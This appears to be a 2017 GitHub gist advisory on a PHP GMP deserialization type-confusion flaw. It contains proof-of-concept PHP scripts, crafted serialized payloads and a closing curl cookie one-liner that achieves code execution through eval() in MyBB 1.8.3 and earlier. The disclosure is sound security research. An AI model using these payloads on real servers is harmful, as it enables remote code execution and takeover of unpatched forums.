Skip to content

Instantly share code, notes, and snippets.

@chtg

chtg/.md Secret

Last active August 28, 2017 12:46
Show Gist options
  • Star 7 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save chtg/4849e0c2cfc1f08eb6532f347594c66c to your computer and use it in GitHub Desktop.
Save chtg/4849e0c2cfc1f08eb6532f347594c66c to your computer and use it in GitHub Desktop.
GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE Vulnerability]

#GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCE Vulnerability]

Taoguang Chen <@chtg57> - Write Date: 2015.4.28 - Release Date: 2017.1.20

A type-confusion vulnerability was discovered in GMP deserialization with crafted object's __wakeup() magic method that can be abused for updating any already assigned properties of any already created objects, this result in serious security issues.

Affected Versions

Affected is PHP 5.6 < 5.6.30

Credits

This vulnerability was disclosed by Taoguang Chen.

Description

gmp.c

static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
	...
	ALLOC_INIT_ZVAL(zv_ptr);
	if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
		|| Z_TYPE_P(zv_ptr) != IS_ARRAY
	) {
		zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
		goto exit;
	}

	if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
		zend_hash_copy(
			zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
			(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
		);
	}

zend_object_handlers.c

ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
	zend_object *zobj;
	zobj = Z_OBJ_P(object);
	if (!zobj->properties) {
		rebuild_object_properties(zobj);
	}
	return zobj->properties;
}

It has been demonstrated many times before that __wakeup() or other magic methods leads to ZVAL was changed from the memory in during deserializtion. So an attacker can change **object into an integer-type or bool-type ZVAL, then the attacker will be able to access any objects that stored in objects store via Z_OBJ_P. This means the attacker will be able to update any properties in the object via zend_hash_copy(). It is possible to lead to various problems and including security issues.

The following codes will prove this vulnerability:

<?php

class obj
{
	var $ryat;
	
	function __wakeup()
	{
		$this->ryat = 1;
	}
}

$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;

$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
var_dump($obj);

?>

Expected result:

object(stdClass)#1 (2) {
  ["aa"]=>
  int(1)
  ["bb"]=>
  int(2)
}

Actual result:

object(stdClass)#1 (3) {
  ["aa"]=>
  string(2) "hi"
  ["bb"]=>
  string(2) "hi"
  [0]=>
  object(obj)#3 (1) {
    ["ryat"]=>
    &int(1)
  }
}

i) How to exploited this bug in real world?

When PHP 5.6 <= 5.6.11, DateInterval's __wakeup() use convert_to_long() handles and reassignments its properties (it has been demonstrated many times), so an attacker can convert GMP object to an any integer-type ZVAL via GMP's gmp_cast_object():

static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */
{
    mpz_ptr gmpnum;
    switch (type) {
    ...
    case IS_LONG:
        gmpnum = GET_GMP_FROM_ZVAL(readobj);
        INIT_PZVAL(writeobj);
        ZVAL_LONG(writeobj, mpz_get_si(gmpnum));
        return SUCCESS;

The following codes will prove this exploite way:

<?php

var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));

?>

Of course, a crafted __wakeup() can also be exploited, ex:

<?php

function __wakeup()
{
    $this->ryat = (int) $this->ryat;
}

?>

ii) Can be exploited this bug in real app?

Exploited the bug in MyBB:

index.php

	if(isset($mybb->cookies['mybb']['forumread']))
	{
		$forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);
	}

MyBB <= 1.8.3 allow deserialized cookies via unserialize(), so an attacker will be able to update $mybb or other object's any properties, and it is possible to lead to security issues easily, ex: xss, sql injection, remote code execution and etc. :-)

P.S. I had reported this vulnerability and it had been fixed in mybb >= 1.8.4.

Proof of Concept Exploit

MyBB <= 1.8.3 RCE vulnerability

index.php

eval('$index = "'.$templates->get('index').'";');

MyBB always use eval() function in during template parsing.

inc/class_templates.php

class templates
{
	...
	public $cache = array();
	...
	function get($title, $eslashes=1, $htmlcomments=1)
	{
		global $db, $theme, $mybb;
		...
		$template = $this->cache[$title];
		...
		return $template;
	}

If we can control the $cache, we will be albe to inject PHP code via eval() function.

inc/init.php

$error_handler = new errorHandler();
...
$maintimer = new timer();
...
$mybb = new MyBB;
...
switch($config['database']['type'])
{
	case "sqlite":
		$db = new DB_SQLite;
		break;
	case "pgsql":
		$db = new DB_PgSQL;
		break;
	case "mysqli":
		$db = new DB_MySQLi;
		break;
	default:
		$db = new DB_MySQL;
}
...
$templates = new templates;

The $templates object was instantiated in init.php, and four objects was instantiated in this before. This means the $templates object's handle was set to 5 and stored into objects store, so we can access the $templates object and update the $cache property via convert GMP object into integer-type ZVAL that value is 5 in during GMP deserialization. This also means we can inject PHP code via eval() function.

When MyBB <= 1.8.3 and PHP 5.6 <= 5.6.11, remote code execution by just using curl on the command line:

curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}' http://127.0.0.1/mybb/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment